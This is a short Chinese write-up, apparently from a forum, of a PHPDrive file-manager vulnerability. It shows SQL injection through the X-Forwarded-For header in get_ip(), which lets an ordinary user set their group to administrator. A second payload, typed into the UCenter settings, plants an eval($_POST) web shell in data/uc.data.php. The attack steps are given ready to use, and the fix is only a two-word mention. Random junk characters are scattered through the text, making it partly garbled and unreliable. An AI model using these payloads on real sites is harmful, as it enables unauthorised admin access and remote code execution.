PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等; ^' @ P4 ~0 P% {5 w5 {0 l6 y
4 H$ z# K4 I- H; \5 _2 M. {1 K0 Z
includes/user.lib.php5 F+ O2 V: l: E3 p2 }
行87+ ]* C7 `9 o* n2 Z6 h7 N8 D) t- S
function get_ip() {
$ M, E" b, \# X0 x- E# D9 I- ^! y if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.& ^. e' Q2 p' Y! |2 W. f
在用户注册与登录 处module/disk/account.lead.php/ @& m) n+ d) y" ~3 Y/ ]) N
198行
5 @3 v4 T0 L& j+ n7 @! J //更新本次登录IP和时间
& a" l- m$ O9 h( L2 H M7 q4 v $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
4 L6 Y8 a" H' b( v# o6 `由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限
. x+ K) \; R6 q) U实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.
% T: R$ W. H2 }) P" r后台getshell:
; A( G3 F: V6 a. H4 E5 w; ]8 C在UCenter设置处,将UC数据库登录名填写为1 y& R3 g; O( x/ l! H
) v- d8 x$ i. ?! @
root’);eval($_POST[DisKill]);?>/*
' n# G1 C: i# A% ?可以得到一个shell,位置在 data/uc.data.php# t# P5 |4 H1 V
) p( m: F0 x; H: H+ K" [+ m% M; V
修复:过滤注入
o8 T' h% _# \( E7 L# K. _6 \ s6 O+ F: a- m
|